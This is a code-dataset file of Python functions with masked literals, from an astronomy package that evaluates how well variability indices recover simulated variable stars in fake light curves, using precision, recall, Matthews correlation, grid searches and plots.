{"signature": "def get_varfeatures(simbasedir,<EOL>mindet=<NUM_LIT:1000>,<EOL>nworkers=None):", "body": "<EOL>with open(os.path.join(simbasedir, '<STR_LIT>'),'<STR_LIT:rb>') as infd:<EOL><INDENT>siminfo = pickle.load(infd)<EOL><DEDENT>lcfpaths = siminfo['<STR_LIT>']<EOL>varfeaturedir = os.path.join(simbasedir,'<STR_LIT>')<EOL>timecols = siminfo['<STR_LIT>']<EOL>magcols = siminfo['<STR_LIT>']<EOL>errcols = siminfo['<STR_LIT>']<EOL>timecols = siminfo['<STR_LIT>']<EOL>magcols = siminfo['<STR_LIT>']<EOL>errcols = siminfo['<STR_LIT>']<EOL>fakelc_formatkey = '<STR_LIT>' % siminfo['<STR_LIT>']<EOL>lcproc.register_lcformat(<EOL>fakelc_formatkey,<EOL>'<STR_LIT>',<EOL>timecols,<EOL>magcols,<EOL>errcols,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>magsarefluxes=siminfo['<STR_LIT>']<EOL>)<EOL>varinfo = lcvfeatures.parallel_varfeatures(lcfpaths,<EOL>varfeaturedir,<EOL>lcformat=fakelc_formatkey,<EOL>mindet=mindet,<EOL>nworkers=nworkers)<EOL>with open(os.path.join(simbasedir,'<STR_LIT>'),'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(varinfo, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return os.path.join(simbasedir,'<STR_LIT>')<EOL>", "docstring": "This runs `lcproc.lcvfeatures.parallel_varfeatures` on fake LCs in\n    `simbasedir`.\n\n    Parameters\n    ----------\n\n    simbasedir : str\n        The directory containing the fake LCs to process.\n\n    mindet : int\n        The minimum number of detections needed to accept an LC and process it.\n\n    nworkers : int or None\n        The number of parallel workers to use when extracting variability\n        features from the input light curves.\n\n    Returns\n    -------\n\n    str\n        The path to the `varfeatures` pickle created after running the\n        `lcproc.lcvfeatures.parallel_varfeatures` function.", "id": "f14692:m2"}
{"signature": "def precision(ntp, nfp):", "body": "if (ntp+nfp) > <NUM_LIT:0>:<EOL><INDENT>return ntp/(ntp+nfp)<EOL><DEDENT>else:<EOL><INDENT>return np.nan<EOL><DEDENT>", "docstring": "This calculates precision.\n\nhttps://en.wikipedia.org/wiki/Precision_and_recall\n\nParameters\n----------\n\nntp : int\n    The number of true positives.\n\nnfp : int\n    The number of false positives.\n\nReturns\n-------\n\nfloat\n    The precision calculated using `ntp/(ntp + nfp)`.", "id": "f14692:m3"}
{"signature": "def recall(ntp, nfn):", "body": "if (ntp+nfn) > <NUM_LIT:0>:<EOL><INDENT>return ntp/(ntp+nfn)<EOL><DEDENT>else:<EOL><INDENT>return np.nan<EOL><DEDENT>", "docstring": "This calculates recall.\n\nhttps://en.wikipedia.org/wiki/Precision_and_recall\n\nParameters\n----------\n\nntp : int\n    The number of true positives.\n\nnfn : int\n    The number of false negatives.\n\nReturns\n-------\n\nfloat\n    The precision calculated using `ntp/(ntp + nfn)`.", "id": "f14692:m4"}
{"signature": "def matthews_correl_coeff(ntp, ntn, nfp, nfn):", "body": "mcc_top = (ntp*ntn - nfp*nfn)<EOL>mcc_bot = msqrt((ntp + nfp)*(ntp + nfn)*(ntn + nfp)*(ntn + nfn))<EOL>if mcc_bot > <NUM_LIT:0>:<EOL><INDENT>return mcc_top/mcc_bot<EOL><DEDENT>else:<EOL><INDENT>return np.nan<EOL><DEDENT>", "docstring": "This calculates the Matthews correlation coefficent.\n\nhttps://en.wikipedia.org/wiki/Matthews_correlation_coefficient\n\nParameters\n----------\n\nntp : int\n    The number of true positives.\n\nntn : int\n    The number of true negatives\n\nnfp : int\n    The number of false positives.\n\nnfn : int\n    The number of false negatives.\n\nReturns\n-------\n\nfloat\n    The Matthews correlation coefficient.", "id": "f14692:m5"}
{"signature": "def get_recovered_variables_for_magbin(simbasedir,<EOL>magbinmedian,<EOL>stetson_stdev_min=<NUM_LIT>,<EOL>inveta_stdev_min=<NUM_LIT>,<EOL>iqr_stdev_min=<NUM_LIT>,<EOL>statsonly=True):", "body": "<EOL>with open(os.path.join(simbasedir, '<STR_LIT>'),'<STR_LIT:rb>') as infd:<EOL><INDENT>siminfo = pickle.load(infd)<EOL><DEDENT>objectids = siminfo['<STR_LIT>']<EOL>varflags = siminfo['<STR_LIT>']<EOL>sdssr = siminfo['<STR_LIT>']<EOL>timecols = siminfo['<STR_LIT>']<EOL>magcols = siminfo['<STR_LIT>']<EOL>errcols = siminfo['<STR_LIT>']<EOL>fakelc_formatkey = '<STR_LIT>' % siminfo['<STR_LIT>']<EOL>lcproc.register_lcformat(<EOL>fakelc_formatkey,<EOL>'<STR_LIT>',<EOL>timecols,<EOL>magcols,<EOL>errcols,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>magsarefluxes=siminfo['<STR_LIT>']<EOL>)<EOL>outdir = os.path.join(simbasedir, '<STR_LIT>')<EOL>if not os.path.exists(outdir):<EOL><INDENT>os.mkdir(outdir)<EOL><DEDENT>varfeaturedir = os.path.join(simbasedir, '<STR_LIT>')<EOL>varthreshinfof = os.path.join(<EOL>outdir,<EOL>'<STR_LIT>' % (magbinmedian,<EOL>stetson_stdev_min,<EOL>inveta_stdev_min)<EOL>)<EOL>varthresh = varthreshold.variability_threshold(<EOL>varfeaturedir,<EOL>varthreshinfof,<EOL>lcformat=fakelc_formatkey,<EOL>min_stetj_stdev=stetson_stdev_min,<EOL>min_inveta_stdev=inveta_stdev_min,<EOL>min_iqr_stdev=iqr_stdev_min,<EOL>verbose=False<EOL>)<EOL>magbins = varthresh['<STR_LIT>']<EOL>magbininds = np.digitize(sdssr, magbins)<EOL>binned_objectids = []<EOL>binned_actualvars = []<EOL>binned_actualnotvars = []<EOL>for mbinind, _magi in zip(np.unique(magbininds),<EOL>range(len(magbins)-<NUM_LIT:1>)):<EOL><INDENT>thisbinind = np.where(magbininds == mbinind)<EOL>thisbin_objectids = objectids[thisbinind]<EOL>thisbin_varflags = varflags[thisbinind]<EOL>thisbin_actualvars = thisbin_objectids[thisbin_varflags]<EOL>thisbin_actualnotvars = thisbin_objectids[~thisbin_varflags]<EOL>binned_objectids.append(thisbin_objectids)<EOL>binned_actualvars.append(thisbin_actualvars)<EOL>binned_actualnotvars.append(thisbin_actualnotvars)<EOL><DEDENT>recdict = {<EOL>'<STR_LIT>':simbasedir,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':siminfo['<STR_LIT>'],<EOL>'<STR_LIT>':stetson_stdev_min,<EOL>'<STR_LIT>':inveta_stdev_min,<EOL>'<STR_LIT>':iqr_stdev_min,<EOL>'<STR_LIT>':magbinmedian,<EOL>}<EOL>for magcol in magcols:<EOL><INDENT>magbinind = np.where(<EOL>np.array(varthresh[magcol]['<STR_LIT>']) == magbinmedian<EOL>)<EOL>magbinind = np.asscalar(magbinind[<NUM_LIT:0>])<EOL>thisbin_objectids = binned_objectids[magbinind]<EOL>thisbin_actualvars = binned_actualvars[magbinind]<EOL>thisbin_actualnotvars = binned_actualnotvars[magbinind]<EOL>stet_recoveredvars = varthresh[magcol][<EOL>'<STR_LIT>'<EOL>][magbinind]<EOL>stet_recoverednotvars = np.setdiff1d(thisbin_objectids,<EOL>stet_recoveredvars)<EOL>stet_truepositives = np.intersect1d(stet_recoveredvars,<EOL>thisbin_actualvars)<EOL>stet_falsepositives = np.intersect1d(stet_recoveredvars,<EOL>thisbin_actualnotvars)<EOL>stet_truenegatives = np.intersect1d(stet_recoverednotvars,<EOL>thisbin_actualnotvars)<EOL>stet_falsenegatives = np.intersect1d(stet_recoverednotvars,<EOL>thisbin_actualvars)<EOL>stet_recall = recall(stet_truepositives.size,<EOL>stet_falsenegatives.size)<EOL>stet_precision = precision(stet_truepositives.size,<EOL>stet_falsepositives.size)<EOL>stet_mcc = matthews_correl_coeff(stet_truepositives.size,<EOL>stet_truenegatives.size,<EOL>stet_falsepositives.size,<EOL>stet_falsenegatives.size)<EOL>inveta_recoveredvars = varthresh[magcol][<EOL>'<STR_LIT>'<EOL>][magbinind]<EOL>inveta_recoverednotvars = np.setdiff1d(thisbin_objectids,<EOL>inveta_recoveredvars)<EOL>inveta_truepositives = np.intersect1d(inveta_recoveredvars,<EOL>thisbin_actualvars)<EOL>inveta_falsepositives = np.intersect1d(inveta_recoveredvars,<EOL>thisbin_actualnotvars)<EOL>inveta_truenegatives = np.intersect1d(inveta_recoverednotvars,<EOL>thisbin_actualnotvars)<EOL>inveta_falsenegatives = np.intersect1d(inveta_recoverednotvars,<EOL>thisbin_actualvars)<EOL>inveta_recall = recall(inveta_truepositives.size,<EOL>inveta_falsenegatives.size)<EOL>inveta_precision = precision(inveta_truepositives.size,<EOL>inveta_falsepositives.size)<EOL>inveta_mcc = matthews_correl_coeff(inveta_truepositives.size,<EOL>inveta_truenegatives.size,<EOL>inveta_falsepositives.size,<EOL>inveta_falsenegatives.size)<EOL>iqr_recoveredvars = varthresh[magcol][<EOL>'<STR_LIT>'<EOL>][magbinind]<EOL>iqr_recoverednotvars = np.setdiff1d(thisbin_objectids,<EOL>iqr_recoveredvars)<EOL>iqr_truepositives = np.intersect1d(iqr_recoveredvars,<EOL>thisbin_actualvars)<EOL>iqr_falsepositives = np.intersect1d(iqr_recoveredvars,<EOL>thisbin_actualnotvars)<EOL>iqr_truenegatives = np.intersect1d(iqr_recoverednotvars,<EOL>thisbin_actualnotvars)<EOL>iqr_falsenegatives = np.intersect1d(iqr_recoverednotvars,<EOL>thisbin_actualvars)<EOL>iqr_recall = recall(iqr_truepositives.size,<EOL>iqr_falsenegatives.size)<EOL>iqr_precision = precision(iqr_truepositives.size,<EOL>iqr_falsepositives.size)<EOL>iqr_mcc = matthews_correl_coeff(iqr_truepositives.size,<EOL>iqr_truenegatives.size,<EOL>iqr_falsepositives.size,<EOL>iqr_falsenegatives.size)<EOL>stet_missed_inveta_found = np.setdiff1d(inveta_truepositives,<EOL>stet_truepositives)<EOL>stet_missed_iqr_found = np.setdiff1d(iqr_truepositives,<EOL>stet_truepositives)<EOL>inveta_missed_stet_found = np.setdiff1d(stet_truepositives,<EOL>inveta_truepositives)<EOL>inveta_missed_iqr_found = np.setdiff1d(iqr_truepositives,<EOL>inveta_truepositives)<EOL>iqr_missed_stet_found = np.setdiff1d(stet_truepositives,<EOL>iqr_truepositives)<EOL>iqr_missed_inveta_found = np.setdiff1d(inveta_truepositives,<EOL>iqr_truepositives)<EOL>if not statsonly:<EOL><INDENT>recdict[magcol] = {<EOL>'<STR_LIT>':stet_recoveredvars,<EOL>'<STR_LIT>':stet_truepositives,<EOL>'<STR_LIT>':stet_falsepositives,<EOL>'<STR_LIT>':stet_truenegatives,<EOL>'<STR_LIT>':stet_falsenegatives,<EOL>'<STR_LIT>':stet_precision,<EOL>'<STR_LIT>':stet_recall,<EOL>'<STR_LIT>':stet_mcc,<EOL>'<STR_LIT>':inveta_recoveredvars,<EOL>'<STR_LIT>':inveta_truepositives,<EOL>'<STR_LIT>':inveta_falsepositives,<EOL>'<STR_LIT>':inveta_truenegatives,<EOL>'<STR_LIT>':inveta_falsenegatives,<EOL>'<STR_LIT>':inveta_precision,<EOL>'<STR_LIT>':inveta_recall,<EOL>'<STR_LIT>':inveta_mcc,<EOL>'<STR_LIT>':iqr_recoveredvars,<EOL>'<STR_LIT>':iqr_truepositives,<EOL>'<STR_LIT>':iqr_falsepositives,<EOL>'<STR_LIT>':iqr_truenegatives,<EOL>'<STR_LIT>':iqr_falsenegatives,<EOL>'<STR_LIT>':iqr_precision,<EOL>'<STR_LIT>':iqr_recall,<EOL>'<STR_LIT>':iqr_mcc,<EOL>'<STR_LIT>':stet_missed_inveta_found,<EOL>'<STR_LIT>':stet_missed_iqr_found,<EOL>'<STR_LIT>':inveta_missed_stet_found,<EOL>'<STR_LIT>':inveta_missed_iqr_found,<EOL>'<STR_LIT>':iqr_missed_stet_found,<EOL>'<STR_LIT>':iqr_missed_inveta_found,<EOL>'<STR_LIT>':thisbin_actualvars,<EOL>'<STR_LIT>':thisbin_actualnotvars,<EOL>'<STR_LIT>':thisbin_objectids,<EOL>'<STR_LIT>':magbinind,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>recdict[magcol] = {<EOL>'<STR_LIT>':stet_recoveredvars.size,<EOL>'<STR_LIT>':stet_truepositives.size,<EOL>'<STR_LIT>':stet_falsepositives.size,<EOL>'<STR_LIT>':stet_truenegatives.size,<EOL>'<STR_LIT>':stet_falsenegatives.size,<EOL>'<STR_LIT>':stet_precision,<EOL>'<STR_LIT>':stet_recall,<EOL>'<STR_LIT>':stet_mcc,<EOL>'<STR_LIT>':inveta_recoveredvars.size,<EOL>'<STR_LIT>':inveta_truepositives.size,<EOL>'<STR_LIT>':inveta_falsepositives.size,<EOL>'<STR_LIT>':inveta_truenegatives.size,<EOL>'<STR_LIT>':inveta_falsenegatives.size,<EOL>'<STR_LIT>':inveta_precision,<EOL>'<STR_LIT>':inveta_recall,<EOL>'<STR_LIT>':inveta_mcc,<EOL>'<STR_LIT>':iqr_recoveredvars.size,<EOL>'<STR_LIT>':iqr_truepositives.size,<EOL>'<STR_LIT>':iqr_falsepositives.size,<EOL>'<STR_LIT>':iqr_truenegatives.size,<EOL>'<STR_LIT>':iqr_falsenegatives.size,<EOL>'<STR_LIT>':iqr_precision,<EOL>'<STR_LIT>':iqr_recall,<EOL>'<STR_LIT>':iqr_mcc,<EOL>'<STR_LIT>':stet_missed_inveta_found.size,<EOL>'<STR_LIT>':stet_missed_iqr_found.size,<EOL>'<STR_LIT>':inveta_missed_stet_found.size,<EOL>'<STR_LIT>':inveta_missed_iqr_found.size,<EOL>'<STR_LIT>':iqr_missed_stet_found.size,<EOL>'<STR_LIT>':iqr_missed_inveta_found.size,<EOL>'<STR_LIT>':thisbin_actualvars.size,<EOL>'<STR_LIT>':thisbin_actualnotvars.size,<EOL>'<STR_LIT>':thisbin_objectids.size,<EOL>'<STR_LIT>':magbinind,<EOL>}<EOL><DEDENT><DEDENT>return recdict<EOL>", "docstring": "This runs variability selection for the given magbinmedian.\n\n    To generate a full recovery matrix over all magnitude bins, run this\n    function for each magbin over the specified stetson_stdev_min and\n    inveta_stdev_min grid.\n\n    Parameters\n    ----------\n\n    simbasedir : str\n        The input directory of fake LCs.\n\n    magbinmedian : float\n        The magbin to run the variable recovery for. This is an item from the\n        dict from `simbasedir/fakelcs-info.pkl: `fakelcinfo['magrms'][magcol]`\n        list for each magcol and designates which magbin to get the recovery\n        stats for.\n\n    stetson_stdev_min : float\n        The minimum sigma above the trend in the Stetson J variability index\n        distribution for this magbin to use to consider objects as variable.\n\n    inveta_stdev_min : float\n        The minimum sigma above the trend in the 1/eta variability index\n        distribution for this magbin to use to consider objects as variable.\n\n    iqr_stdev_min : float\n        The minimum sigma above the trend in the IQR variability index\n        distribution for this magbin to use to consider objects as variable.\n\n    statsonly : bool\n        If this is True, only the final stats will be returned. If False, the\n        full arrays used to generate the stats will also be returned.\n\n    Returns\n    -------\n\n    dict\n        The returned dict contains statistics for this magbin and if requested,\n        the full arrays used to calculate the statistics.", "id": "f14692:m6"}
{"signature": "def magbin_varind_gridsearch_worker(task):", "body": "simbasedir, gridpoint, magbinmedian = task<EOL>try:<EOL><INDENT>res = get_recovered_variables_for_magbin(simbasedir,<EOL>magbinmedian,<EOL>stetson_stdev_min=gridpoint[<NUM_LIT:0>],<EOL>inveta_stdev_min=gridpoint[<NUM_LIT:1>],<EOL>iqr_stdev_min=gridpoint[<NUM_LIT:2>],<EOL>statsonly=True)<EOL>return res<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % gridpoint)<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel grid search worker for the function below.", "id": "f14692:m7"}
{"signature": "def variable_index_gridsearch_magbin(simbasedir,<EOL>stetson_stdev_range=(<NUM_LIT:1.0>,<NUM_LIT>),<EOL>inveta_stdev_range=(<NUM_LIT:1.0>,<NUM_LIT>),<EOL>iqr_stdev_range=(<NUM_LIT:1.0>,<NUM_LIT>),<EOL>ngridpoints=<NUM_LIT:32>,<EOL>ngridworkers=None):", "body": "<EOL>outdir = os.path.join(simbasedir,'<STR_LIT>')<EOL>if not os.path.exists(outdir):<EOL><INDENT>os.mkdir(outdir)<EOL><DEDENT>with open(os.path.join(simbasedir, '<STR_LIT>'),'<STR_LIT:rb>') as infd:<EOL><INDENT>siminfo = pickle.load(infd)<EOL><DEDENT>timecols = siminfo['<STR_LIT>']<EOL>magcols = siminfo['<STR_LIT>']<EOL>errcols = siminfo['<STR_LIT>']<EOL>magbinmedians = siminfo['<STR_LIT>'][magcols[<NUM_LIT:0>]]['<STR_LIT>']<EOL>stetson_grid = np.linspace(stetson_stdev_range[<NUM_LIT:0>],<EOL>stetson_stdev_range[<NUM_LIT:1>],<EOL>num=ngridpoints)<EOL>inveta_grid = np.linspace(inveta_stdev_range[<NUM_LIT:0>],<EOL>inveta_stdev_range[<NUM_LIT:1>],<EOL>num=ngridpoints)<EOL>iqr_grid = np.linspace(iqr_stdev_range[<NUM_LIT:0>],<EOL>iqr_stdev_range[<NUM_LIT:1>],<EOL>num=ngridpoints)<EOL>stet_inveta_iqr_grid = []<EOL>for stet in stetson_grid:<EOL><INDENT>for inveta in inveta_grid:<EOL><INDENT>for iqr in iqr_grid:<EOL><INDENT>grid_point = [stet, inveta, iqr]<EOL>stet_inveta_iqr_grid.append(grid_point)<EOL><DEDENT><DEDENT><DEDENT>grid_results = {'<STR_LIT>':stetson_grid,<EOL>'<STR_LIT>':inveta_grid,<EOL>'<STR_LIT>':iqr_grid,<EOL>'<STR_LIT>':stet_inveta_iqr_grid,<EOL>'<STR_LIT>':magbinmedians,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':os.path.abspath(simbasedir),<EOL>'<STR_LIT>':[]}<EOL>pool = mp.Pool(ngridworkers)<EOL>for magbinmedian in magbinmedians:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % magbinmedian)<EOL>tasks = [(simbasedir, gp, magbinmedian) for gp in stet_inveta_iqr_grid]<EOL>thisbin_results = pool.map(magbin_varind_gridsearch_worker, tasks)<EOL>grid_results['<STR_LIT>'].append(thisbin_results)<EOL><DEDENT>pool.close()<EOL>pool.join()<EOL>LOGINFO('<STR_LIT>')<EOL>with open(os.path.join(simbasedir,<EOL>'<STR_LIT>'),'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(grid_results,outfd,pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return grid_results<EOL>", "docstring": "This runs a variable index grid search per magbin.\n\n    For each magbin, this does a grid search using the stetson and inveta ranges\n    provided and tries to optimize the Matthews Correlation Coefficient (best\n    value is +1.0), indicating the best possible separation of variables\n    vs. nonvariables. The thresholds on these two variable indexes that produce\n    the largest coeff for the collection of fake LCs will probably be the ones\n    that work best for actual variable classification on the real LCs.\n\n    https://en.wikipedia.org/wiki/Matthews_correlation_coefficient\n\n    For each grid-point, calculates the true positives, false positives, true\n    negatives, false negatives. Then gets the precision and recall, confusion\n    matrix, and the ROC curve for variable vs. nonvariable.\n\n    Once we've identified the best thresholds to use, we can then calculate\n    variable object numbers:\n\n    - as a function of magnitude\n    - as a function of period\n    - as a function of number of detections\n    - as a function of amplitude of variability\n\n\n    Writes everything back to `simbasedir/fakevar-recovery.pkl`. Use the\n    plotting function below to make plots for the results.\n\n    Parameters\n    ----------\n\n    simbasedir : str\n        The directory where the fake LCs are located.\n\n    stetson_stdev_range : sequence of 2 floats\n        The min and max values of the Stetson J variability index to generate a\n        grid over these to test for the values of this index that produce the\n        'best' recovery rate for the injected variable stars.\n\n    inveta_stdev_range : sequence of 2 floats\n        The min and max values of the 1/eta variability index to generate a\n        grid over these to test for the values of this index that produce the\n        'best' recovery rate for the injected variable stars.\n\n    iqr_stdev_range : sequence of 2 floats\n        The min and max values of the IQR variability index to generate a\n        grid over these to test for the values of this index that produce the\n        'best' recovery rate for the injected variable stars.\n\n    ngridpoints : int\n        The number of grid points for each variability index grid. Remember that\n        this function will be searching in 3D and will require lots of time to\n        run if ngridpoints is too large.\n\n        For the default number of grid points and 25000 simulated light curves,\n        this takes about 3 days to run on a 40 (effective) core machine with 2 x\n        Xeon E5-2650v3 CPUs.\n\n    ngridworkers : int or None\n        The number of parallel grid search workers that will be launched.\n\n    Returns\n    -------\n\n    dict\n        The returned dict contains a list of recovery stats for each magbin and\n        each grid point in the variability index grids that were used. This dict\n        can be passed to the plotting function below to plot the results.", "id": "f14692:m8"}
{"signature": "def plot_varind_gridsearch_magbin_results(gridsearch_results):", "body": "<EOL>if (isinstance(gridsearch_results, str) and<EOL>os.path.exists(gridsearch_results)):<EOL><INDENT>with open(gridsearch_results,'<STR_LIT:rb>') as infd:<EOL><INDENT>gridresults = pickle.load(infd)<EOL><DEDENT><DEDENT>elif isinstance(gridsearch_results, dict):<EOL><INDENT>gridresults = gridsearch_results<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>plotres = {'<STR_LIT>':gridresults['<STR_LIT>']}<EOL>recgrid = gridresults['<STR_LIT>']<EOL>simbasedir = gridresults['<STR_LIT>']<EOL>for magcol in gridresults['<STR_LIT>']:<EOL><INDENT>plotres[magcol] = {'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':gridresults['<STR_LIT>']}<EOL>for magbinind, magbinmedian in enumerate(gridresults['<STR_LIT>']):<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(magcol, magbinmedian))<EOL>stet_mcc = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[::(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)]<EOL>stet_precision = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[::(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)]<EOL>stet_recall = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[::(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)]<EOL>stet_missed_inveta_found = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[::(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)]<EOL>stet_missed_iqr_found = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[::(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)]<EOL>inveta_mcc = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>::gridresults['<STR_LIT>'].size<EOL>]<EOL>inveta_precision = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>::gridresults['<STR_LIT>'].size<EOL>]<EOL>inveta_recall = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>::gridresults['<STR_LIT>'].size<EOL>]<EOL>inveta_missed_stet_found = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>::gridresults['<STR_LIT>'].size<EOL>]<EOL>inveta_missed_iqr_found = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>::gridresults['<STR_LIT>'].size<EOL>]<EOL>iqr_mcc = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>:gridresults['<STR_LIT>'].size<EOL>]<EOL>iqr_precision = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>:gridresults['<STR_LIT>'].size<EOL>]<EOL>iqr_recall = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>:gridresults['<STR_LIT>'].size<EOL>]<EOL>iqr_missed_stet_found = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>:gridresults['<STR_LIT>'].size<EOL>]<EOL>iqr_missed_inveta_found = np.array(<EOL>[x[magcol]['<STR_LIT>']<EOL>for x in recgrid[magbinind]]<EOL>)[:(gridresults['<STR_LIT>'].size *<EOL>gridresults['<STR_LIT>'].size)][<EOL>:gridresults['<STR_LIT>'].size<EOL>]<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT:5>, <NUM_LIT>*<NUM_LIT:3>))<EOL>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:1>)<EOL>if np.any(np.isfinite(stet_mcc)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>stet_mcc)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:2>)<EOL>if np.any(np.isfinite(stet_precision)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>stet_precision)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:3>)<EOL>if np.any(np.isfinite(stet_recall)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>stet_recall)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:4>)<EOL>if np.any(np.isfinite(stet_missed_inveta_found)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>stet_missed_inveta_found)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:5>)<EOL>if np.any(np.isfinite(stet_missed_iqr_found)):<EOL><INDENT>plt.plot(gridresults['<STR_LIT>'],<EOL>stet_missed_iqr_found)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.text(<NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>transform=plt.gca().transAxes,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>plt.xticks([])<EOL>plt.yticks([])<EOL><DEDENT>plt.subplot(<NUM_LIT:3>,<NUM_LIT:5>,<NUM_LIT:6>)<EOL>if 